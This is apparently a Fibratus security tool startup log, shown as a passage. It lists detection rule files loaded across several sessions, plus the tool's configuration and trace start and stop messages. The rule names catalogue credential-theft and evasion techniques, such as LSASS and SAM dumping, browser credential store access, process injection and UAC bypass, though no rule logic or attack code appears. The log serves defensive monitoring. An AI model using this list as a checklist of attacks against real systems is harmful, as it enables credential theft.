+time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-21T13:42:48+01:00 level=info msg=bootstrapping with pid 7016. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T13:42:48+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ to=>[] enabled=>false port=>25 use-template=>true content-type=>text/html] slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-threads=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ enable-image=>true enable-mem=>false enable-audit-api=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-registry=>true enable-threadpool=>false min-buffers=>16 buffer-size=>512 enable-thread=>true enable-dns=>false enable-fileio=>true stack-enrichment=>true enable-net=>true flush-interval=>1s enable-handle=>false max-buffers=>36 enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info formatter=>text max-size=>100 max-age=>0 log-stdout=>true max-backups=>15] + output ......................... [ eventlog=>[ level=>info enabled=>false] amqp=>[ timeout=>5s exchange=>fibratus enabled=>false delivery-mode=>transient tls-insecure-skip-verify=>false routing-key=>fibratus url=>amqp://localhost:5672 passive=>false exchange-type=>topic vhost=>/ durable=>false] http=>[ timeout=>5s method=>POST tls-insecure-skip-verify=>false endpoints=>[] enabled=>false enable-gzip=>false serializer=>json] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] elasticsearch=>[ trace-log=>false enabled=>false bulk-workers=>1 index-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck=>true gzip-compression=>false healthcheck-interval=>10s timeout=>5s sniff=>false template-name=>fibratus healthcheck-timeout=>5s flush-period=>1s]] + pe ............................. [ read-resources=>false read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false excluded-files=>[] excluded-procs=>[] skip-allocs=>false fastscan=>true enabled=>false skip-mmaps=>false skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-21T13:42:49+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T13:42:51+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T13:44:57+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T13:44:57+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T13:44:58+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T13:46:54+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-21T13:46:54+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-21T13:46:54+01:00 level=info msg=bootstrapping with pid 4164. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T13:46:54+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ content-type=>text/html enabled=>false to=>[] port=>25 use-template=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ enable-vamap=>true enable-handle=>false flush-interval=>1s max-buffers=>36 enable-net=>true enable-dns=>false enable-image=>true enable-audit-api=>true enable-mem=>false enable-registry=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-thread=>true enable-fileio=>true buffer-size=>512 min-buffers=>16 stack-enrichment=>true enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-size=>100 max-age=>0 log-stdout=>true max-backups=>15 level=>info] + output ......................... [ eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] amqp=>[ vhost=>/ url=>amqp://localhost:5672 passive=>false durable=>false exchange-type=>topic enabled=>false tls-insecure-skip-verify=>false delivery-mode=>transient routing-key=>fibratus timeout=>5s exchange=>fibratus] elasticsearch=>[ flush-period=>1s servers=>[http://127.0.0.1:9200] timeout=>5s healthcheck=>true trace-log=>false bulk-workers=>1 healthcheck-timeout=>5s index-name=>fibratus gzip-compression=>false healthcheck-interval=>10s sniff=>false enabled=>false template-name=>fibratus] http=>[ enable-gzip=>false timeout=>5s endpoints=>[] tls-insecure-skip-verify=>false method=>POST serializer=>json enabled=>false]] + pe ............................. [ read-sections=>false read-resources=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s excluded-procs=>[] skip-registry=>false skip-files=>false skip-mmaps=>false skip-allocs=>false excluded-files=>[] fastscan=>true enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-21T13:46:54+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T13:46:56+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T13:48:01+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T13:48:02+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T13:48:02+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T14:29:49+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml 